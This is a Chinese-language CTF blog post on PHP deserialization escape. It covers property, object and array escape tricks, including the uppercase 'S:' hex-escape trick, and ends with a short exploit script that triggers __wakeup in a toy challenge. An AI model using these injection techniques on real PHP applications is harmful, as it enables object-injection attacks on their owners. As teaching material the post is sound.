php 反序列化逃逸

最近在打一个 ctf 的时候，接触到 php 反序列化逃逸。

这个知识点挺有意思的

首先序列化字符串各个字符的含义

```
类型    结构
String    s:size:value;
Integer    i:value;
Boolean    b:value;(1或0)
Null    N;
Array    a:size:{key definition;value definition;(repeated per element)}
Object    O:strlen(object name):object name:object size:{s:strlen(property nam
e):property name:property definition;(repeated per property)}

例如：O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:3:"LEO";}
O代表对象；4代表对象名长度；2代表2个成员变量；
```

先来看一段正常的 php 代码

知识点一 – 反序列化分隔符

反序列化以;} 结束，后面的字符串不影响正常的反序列化

```php
<?php

class A
{
    public $v1 = "a";
}

//正常序列化
echo serialize(new A());
// O:1:"A":1:{s:2:"v1";s:1:"a";}



//反序列化以;}结束，后面的字符串不影响正常的反序列化
$b = unserialize('O:1:"A":1:{s:2:"v1";s:1:"a";}dasdasdasdasdasdsa');
var_dump($b);
/*object(A)#1 (1) {
["v1"]=>
  string(1) "a"
```

```
}*/
```

知识点二 – 属性逃逸

一般在数据先经过一次 serialize 再经过 unserialize，在这个中间反序列化的字符串变多或者变少的时候才有可能存在逃逸

文字比较绕，看代码

```
<?php

class A
{
    public $v1 = "abcsystem()";
    public $v2 = "123";
}

$data =  serialize(new A());
//O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";s:1:"b";}

$data = str_replace("system()","",$data);
//echo $data;
//O:1:"A":2:{s:2:"v1";s:11:"abc";s:2:"v2";s:3:"123";}
//这个地方 s:11,代表属性有11个字符串，但是实际上经过过滤以后只剩下abc三个字符串了，这里就存在php反序列化逃逸的问题


class B
{
    public $v1 = "abcsystem()system()system()";
    public $v2 = '1234567";s:2:"v3";s:1:"a";};';
}

$data =  serialize(new B());
$data = str_replace("system()","",$data);
echo $data."\n";
var_dump(unserialize($data));
/*O:1:"B":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:28:"1234567";s:2:"v3";s:1:"a";};
";}
object(B)#1 (3) {
  ["v1"]=>
  string(27) "abc";s:2:"v2";s:28:"1234567"
  ["v2"]=>
  string(28) "1234567";s:2:"v3";s:1:"a";};"
["v3"]=>
  string(1) "a"
}*/
```

成功逃逸出 v3 属性

知识点三 – object 逃逸

看代码

```
<?php

//object 反序列化逃逸
class A
{
    public $v1 = "systemsystemsystem123456";
    public $v2 = '1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}';    // 准备逃逸的字符
}

class C{
    public $a = "1";
}

$a = new A();
$data = serialize($a);

$data = str_replace("system", "", $data);
echo $data."\n";
var_dump(unserialize($data));
/*O:1:"A":2:{s:2:"v1";s:24:"123456";s:2:"v2";s:43:"1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}";}
object(A)#2 (3) {
  ["v1"]=>
  string(24) "123456";s:2:"v2";s:43:"1"
  ["v2"]=>
  string(43) "1";s:2:"v3";O:1:"C":1:{s:1:"a";s:3:"123";}}"
["v3"]=>
  object(C)#3 (1) {
  ["a"]=>
    string(3) "123"
  }
}*/
```

知识点四 – 数组逃逸

以碰到的 ctf 题目来进行讲解

题目化简后如下

```
<?php

class A
{
    public function __wakeup()
```

```
    public function __wakeup()
    {
        echo "flag";
    }
}


$post = $_POST;
$data = serialize($post);
$serialize_data=  preg_replace('/s:/', 'S:', $data) . "\n";
unserialize($serialize_data);
```

这里会把反序列化字符串中的 s 替换成 S，然后你会发现并没有什么异常，一样可以正常反序列化。

实际上是不一样的

小 s，反序列化字符串

```
s:1:"a";s:3:"123";
```

大 S，反序列化字符串中的值可以用十六进制进行表示

```
s:1:"a";S:1:"/00";
```

我们在输入的输入中，传输 `/00` 字符串，在经过程序过滤以后会将这种字符串看成一个字符串从而造成了反序列化逃逸

另外要注意一下数组反序列化的格式和 object 的格式有点不一样

Array a:size:{key definition;value definition;(repeated per element)}

exp

```
<?php

class A
{
    public function __wakeup()
    {
        echo "flag";
    }
}

$post = $_POST;
$data = serialize($post);
$serialize_data=  preg_replace('/s:/', 'S:', $data) . "\n";
```

```
unserialize($serialize_data);

//$a = new A();
//echo serialize($a);
//exit();


$post = array("a" => '\00\00\00\00\00\00\00',
    'S:1:"a";S:1:"a";O:1:"A":0:{}}' => '',
);

$serialize_data = serialize($post);
echo $serialize_data . "\n";;
//a:2:{s:1:"a";s:21:"\00\00\00\00\00\00\00";s:29:"S:1:"a";S:1:"a";O:1:"A":0:
{}}";s:0:"";}

$serialize_data=  preg_replace('/s:/', 'S:', $serialize_data) . "\n";
echo $serialize_data;
//a:2:{S:1:"a";S:21:"\00\00\00\00\00\00\00";S:29:"S:1:"a";S:1:"a";O:1:"A":0:
{}}";S:0:"";}

$data = unserialize($serialize_data);
var_dump($data);
/*array(1) {
    ["a"]=>
  object(A)#1 (0) {
  }
}*/
```